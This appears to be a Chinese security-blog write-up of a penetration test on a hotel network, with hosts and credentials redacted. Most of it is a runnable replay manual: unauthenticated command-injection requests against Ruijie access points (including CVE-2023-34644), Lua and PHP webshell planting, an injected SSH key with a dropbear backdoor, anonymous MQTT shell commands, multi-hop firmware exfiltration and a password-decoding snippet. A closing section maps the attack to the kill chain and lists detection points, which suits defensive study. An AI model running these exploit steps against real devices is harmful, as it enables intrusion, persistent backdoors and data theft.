文章总结: 本文档为一次真实Hotel环境实战渗透测试的脱敏复现手册,详细记录了从资产发现、免鉴权RCE利用、Luawebshell植入、telnet弱口令、网关四段链getshell、MQTT匿名总线控制、SSH桥建立到配置固件外带的完整攻击链,并映射LockheedMartin杀伤链七阶段。文档提供了可操作的具体命令步骤,并强调仅限自有授权环境使用,对红队实战与安全建设具有较高参考价值。
综合评分: 88
文章分类: 渗透测试,红队,内网渗透,漏洞分析
记录一次真实Hotel实战渗透测试
网安之家-CyberHomestead
2026年9月14日 21:45
河北
在小说阅读器读本章
去阅读
在公众号小说中沉浸阅读
复现手册(脱敏版 · 简明步骤)
仅限自有授权环境。所有主机/凭据已脱敏为 xxxxxx / 192.168.xx.xx,替换为你自己环境的值即可。
环境:Windows + Git Bash(curl/openssl/ssh 均可用)、Python 3(py)、任意 MQTT 客户端
步骤 0 · 资产发现与纠偏
fscan -h 192.168.xx.xx/22 # 初扫
# 拿到网关后进 telnet 纠偏资产表:
telnet 192.168.xx.xx # 密码 xxxxxx → enable → xxxxxx
show arp # 真实主机数(比 ICMP 准)
show ip dhcp binding # 全部客户端
步骤 1 · 免鉴权 RCE #1(checkNet,适用 17 台 EAP)
# 盲测(看响应时间差)
time curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth \
-H "Content-Type: application/json" \
-d '{"method":"checkNet","params":{"host":"`sleep 5`"}}'
# 基线约 1s → 注入后约 6s = 存在
# 落盘回读拿回显
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth \
-H "Content-Type: application/json" \
-d '{"method":"checkNet","params":{"host":"`id>/www/cgi-bin/o.txt 2>&1`"}}'
curl -s http://192.168.xx.xx/cgi-bin/o.txt # → uid=0(root)
步骤 2 · 免鉴权 RCE #2(merge,CVE-2023-34644,更干净)
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth \
-H "Content-Type: application/json" \
-d '{"method":"merge","params":{"a":"x';id>/www/cgi-bin/o.txt 2>&1;'x"}}'
curl -s http://192.168.xx.xx/cgi-bin/o.txt
步骤 3 · Lua Webshell(EAP 无 PHP,用 .lua CGI)
cat > ws.lua << 'EOF'
print("Content-Type: text/plain\n\n")
local q=os.getenv("QUERY_STRING") or ""
q=q:gsub("%%20"," "):gsub("%%3B",";")
local f=io.popen(q)
print(f:read("*a"))
EOF
B64=$(base64 -w0 ws.lua)
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth -H "Content-Type: application/json" \
-d "{\"method\":\"merge\",\"params\":{\"a\":\"x';echo $B64|base64 -d>/www/cgi-bin/ws.lua;'x\"}}"
curl -s "http://192.168.xx.xx/cgi-bin/ws.lua?id;uname%20-a" # 使用
curl -s "http://192.168.xx.xx/cgi-bin/ws.lua?rm%20-f%20/www/cgi-bin/ws.lua" # 自毁
步骤 4 · telnet 弱口令(老批 19 台 + 网关)
telnet 192.168.xx.xx # 老批: 密码 xxxxxx,直达 #
telnet 192.168.xx.xx # 网关: xxxxxx → enable → xxxxxx
show running-config # 明文凭据/PPPoE/全量配置
步骤 5 · 网关四段链(root webshell)
# ① 取公钥
curl -s "http://192.168.xx.xx/login.php?a=getRsaPublicKey" -o rsa_pub.pem# ② 构造加密登录(AES 密钥为源码硬编码 xxxxxx)printf'admin' | openssl enc -e -aes-256-cbc -a -k 'xxxxxx' -md md5 | tr -d '\n' > u.b64printf'你的密码' > pw.binopenssl rsautl -pkcs -encrypt -inkey rsa_pub.pem -pubin -in pw.bin -out pw.encopenssl base64 -A -in pw.enc -out p.b64# ③ 登录(记录 Set-Cookie 会话)curl -s -i -X POST "http://192.168.xx.xx/login.php" \ --data-urlencode "username=$(cat u.b64)" --data-urlencode "password=$(cat p.b64)"# ④ 伪装上传 + 注入 cp + getshellprintf'GIF89a<?php system($_GET["c"]);?>' > s.jpgSID="会话Cookie值"curl -s -H "Cookie: $SID" -F "[email protected];filename=1.jpg;type=image/jpeg" \"http://192.168.xx.xx/ddi/server/fileupload.php?uploadDir=xxxxxx/&name=s.jpg"curl -s -H "Cookie: $SID" -H "X-Requested-With: XMLHttpRequest" -X POST \"http://192.168.xx.xx/patch.php?a=setPatchAutoTime" \ --data-urlencode "pram=x'\$(cp xxxxxx/s.jpg xxxxxx/ws.php)'x"curl -s "http://192.168.xx.xx/ws.php?c=id;uname%20-a"# → uid=0(root)# 清理curl -s "http://192.168.xx.xx/ws.php?c=rm%20-f%20xxxxxx/ws.php%20xxxxxx/s.jpg"curl -s -H "Cookie: $SID" "http://192.168.xx.xx/loginout.php"
步骤 6 · MQTT 匿名总线(集群)
# 任意 MQTT 客户端连 192.168.xx.xx:1883 无凭据;或用附带的 mqtt_probe.py
py mqtt_probe.py # 匿名CONNECT + 订阅# 抓全网遥测(18台SN/顾客MAC/场所名)
# RPC 回环(只对自有测试机、无害载荷)
# 发布 → sys/001/AP/型号/序列号/rpc/shell/request/自定义operId
# 载荷 {"msg":{"cmds":["id"]}}
# 订阅 ← sys/001/AP/+/+/rpc/shell/response/+ 收回包
# ⚠️ FFFF/FFFF/setnetworkId 为全网广播主题,验证时严禁发布
步骤 7 · SSH 桥(root 交互 shell)
ssh-keygen -t rsa -b 2048 -f k -N "" -q
B64=$(base64 -w0 k.pub)
# 免鉴权注入公钥到厂商定制路径 + 拉起 dropbear
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth -H "Content-Type: application/json" \
-d "{\"method\":\"merge\",\"params\":{\"a\":\"x';mkdir -p /etc/dropbear;echo $B64|base64 -d>/etc/dropbear/authorized_keys;chmod 600 /etc/dropbear/authorized_keys;/usr/sbin/dropbear -p 2222 -R 2>/dev/null;'x\"}}"
# Windows 先修私钥 ACL(否则报 too open)
icacls k /inheritance:r && icacls k /grant:r "%USERNAME%:R"
# 连接(老 dropbear 需启用 legacy 算法)
ssh -i k -p 2222 -o KexAlgorithms=+diffie-hellman-group14-sha1 \
-o HostKeyAlgorithms=+ssh-rsa -o PubkeyAcceptedAlgorithms=+ssh-rsa [email protected]
# → root@xxxxxx:~# id → uid=0(root)
# 拆桥
curl -s -X POST http://192.168.xx.xx/cgi-bin/luci/api/auth -H "Content-Type: application/json" \
-d '{"method":"merge","params":{"a":"x'"'"';killall dropbear;rm -f /etc/dropbear/authorized_keys;'"'"'"}}'
步骤 8 · 配置/固件外带(四跳链)
# 中转 AP 上预建接收文件(tftpd 无 --create):
curl -s -X POST http://中转AP/cgi-bin/luci/api/auth -H "Content-Type: application/json" \
-d '{"method":"checkNet","params":{"host":"`touch /var/tftpd-hpa/f.bin;chmod 666 /var/tftpd-hpa/f.bin`"}}'
# 网关推送:
telnet 网关 → copy flash:xxxxxx tftp://中转AP/f.bin
# 中转 AP 零拷贝软链 + 拉取:
# ln -sf /var/tftpd-hpa/f.bin /www/cgi-bin/f.bin (经 RCE 执行)
curl -s -o f.bin http://中转AP/cgi-bin/f.bin
# 固件整机镜像(root shell 内):
# dd if=/dev/mtdblock5 of=/tmp/fw.bin → 软链外带(7.8MB uImage)
# ⚠️ 小内存设备一次只做一个大文件,防 OOM
步骤 9 · 哈希离线验证(可复现凭据结论)
openssl passwd -1 -salt 盐值 猜测明文 # 与 shadow 比对
py crack_hashes.py # 附带字典脚本
步骤 10 · type-7 解密(任意锐捷 password 7)
magic = 'xxxxxx' # 40 字符密钥表,见报告第 2.7 节获取方式
def dec(ct):
s=int(ct[:2]);return ''.join(chr(int(ct[2+i*2:4+i*2],16)^ord(magic[s+i])) for i in range((len(ct)-2)//2))
网络攻击链与杀伤链详细分析研究报告(脱敏版)
编号 NMC-2026-0911-KILLCHAIN | 基于 2026-09-11~12 十二轮实弹战役 | 全部敏感标识已脱敏
1. 总攻击链视图(四层递进)
[侦察] fscan 存活探测(12台) → 网关ARP表纠偏(73台真实资产) → MAC OUI 分群(锐捷×2批次)
↓
[首次立足] 单台AP免鉴权RCE#1(checkNet) → root → shadow → 同密码线索
↓
[横向扩张] 同密码×默认口令 → 16台RCE + 19台telnet特权 + 全部Web后台 → 集群MQTT匿名总线
↓
[核心目标] 出口网关四段链(加密登录→伪装上传→注入→webshell) → root → 源码/私钥/固件外带
↓
[持续化能力] SSH桥(authorized_keys定制路径) + MQTT RPC回环 + 检测规则反哺(防御方交付)
2. Lockheed Martin 杀伤链七阶段映射
阶段1 侦察 (Reconnaissance) — T1595/T1592/T1046
- • 工具:fscan(ICMP+TCP 补充探测)
- • 关键修正:扫描器漏报 6 倍 → 用网关
show arp(T1018)获得真实资产清单;DHCP binding 表 306 客户端 - • 指纹纠偏:fscan 认错型号(NBS↔AP)→ 一律以 CLI
show version验身
阶段2 武器化 (Weaponization)
- • 无恶意文件投递需求——目标自身漏洞即武器;仅本地构造:AES/RSA 加密登录体、PHP-in-JPG 多模态文件、Lua CGI webshell(b64 编码防转义)、RSA 密钥对
- • 战役独有的”武器适配”:EAP 无 PHP → lighttpd
cgi.assign(".lua")映射改用 Lua webshell
阶段3 投递 (Delivery) — T1190
- • 通道:HTTP 80(17 台 AP)、telnet 23(19+1 台)、MQTT 1883(集群)、HTTPS 4430(网关暗端口)
- • 全部为被动可达的管理面——无钓鱼无社工
阶段4 利用 (Exploitation) — 三条独立链
| 链 | 向量 | ATT&CK |
| — | — | — |
| A | checkNet 反引号注入(免鉴权) | T1190+T1059.004 |
| B | merge 单引号逃逸(免鉴权,CVE-2023-34644) | T1190+T1059.004 |
| C | 网关:合法凭证(T1078)→上传黑名单绕过→patch.php 注入 | T1078+T1190 |
阶段5 安装 (Installation) — T1505.003/T1098.004
- • Webshell ×2(Lua CGI / PHP),用后自毁
- • SSH 桥:定制 dropbear 非标准 authorized_keys 路径 + 2222 端口(root 交互 shell)
- • 未做开机持久化(演练纪律:不留存续)
阶段6 指挥控制 (C2) — T1021.004/T1071
- • SSH(legacy KEX)/ HTTP 参数驱动 webshell / MQTT 订阅即遥测
- • 值得注意:MQTT rpc/shell 请求-响应主题族是设备原生的 C2 通道(匿名可用,operId 回环已实测)
阶段7 目标行动 (Actions on Objectives)
- • 凭据采集:T1003.008(shadow×16)、T1552.001(配置明文/硬编码密钥/type-7 表)
- • 数据收集:T1005(running-config/源码/固件/审计日记)、T1213(行为审计库接口,库未启用)
- • 外带:T1048——四跳链(网关 tftp → 中转 AP → web 目录 → HTTP),含零拷贝软链与轮询等待两个工程化技巧;固件 12.5MB + 源码 14.3MB + 私钥
- • 影响能力(未执行):MQTT FFFF/FFFF 广播 = 全网 AP 同时执行命令/刷固件(T1105/T1210/T1543 潜在)
- • 防御方交付:13 条 Suricata 规则 + 2 个 Nuclei 模板 + 证伪性分类器(26 项发现 0 项不可证伪)
3. 关键”链式反应”剖析(为什么一发不可收拾)
- 1. 凭证复用是放大器:单台 AP 的 shadow 破出一个明文 → 16/16 台 + 网关 + 交换机全开——杀伤链从”1 台 root”变”全网 root”只花了一次字典攻击的时间。
- 2. 管理面信任内网是前置条件:RCE/MQTT/telnet 全部无需出网,攻击者只需进入内网任意位置(本例中测试机本就在内网;现实里一个 Wi-Fi 弱口令即可复现同样位置——PSK 也是弱口令)。
- 3. 检测为零使链条无成本延伸:AP 无 access log、WAF 告警不阻断、设备无登录失败锁定——3 小时 39 台无一次告警,攻击者可以慢慢来。
- 4. 固件不升级是根因中的根因:两个免鉴权 RCE 均为 2023 年已公开且已有补丁的漏洞,设备固件停在 2021-07。
4. 每阶段的检测断点(防御方视角)
| 阶段 | 断点 | 对应规则(detection_pack) |
| — | — | — |
| 侦察 | 管理网段出现非白名单源的端口扫描/指纹请求 | 基线告警(自建) |
| 利用 | /xxxxxx/api/auth POST 中含 method=checkNet/merge + 引号/反引号/$( | sid 1000001-000003 |
| 安装 | web 目录新增非基线文件(.lua/.php/.bin) | 主机基线比对 |
| C2 | 设备发起的非常规出站(2222/1883 新会话暴增) | sid 1000008-000010 |
| 目标 | 管理平面 tftp 互传、暗端口访问 | sid 1000012-000013 |
| 全局 | MQTT 广播主题收到任何消息 = 最高优先级 | sid 1000009 |
5. 与经典框架的对齐结论
- • 杀伤链在”IoT/网维设备密集”内网的形态:利用阶段极短(一发即 root),扩张阶段极快(凭证复用),而检测断点全部缺失;
- • 最有效的单点防御不是设备加固,而是管理面隔离(独立 VLAN+ACL)——它一次性切断投递与横向两个阶段;
- • 最有效的检测指标是**”管理协议来自非管理源”**这一条(规则包已覆盖全部 12 条链)。
#
免责声明:
本文所载程序、技术方法仅面向合法合规的安全研究与教学场景,旨在提升网络安全防护能力,具有明确的技术研究属性。
任何单位或个人未经授权,将本文内容用于攻击、破坏等非法用途的,由此引发的全部法律责任、民事赔偿及连带责任,均由行为人独立承担,本站不承担任何连带责任。
本站内容均为技术交流与知识分享目的发布,若存在版权侵权或其他异议,请通过邮件联系处理,具体联系方式可点击页面上方的联系我。
本文转载自:网安之家-CyberHomestead 《记录一次真实Hotel实战渗透测试》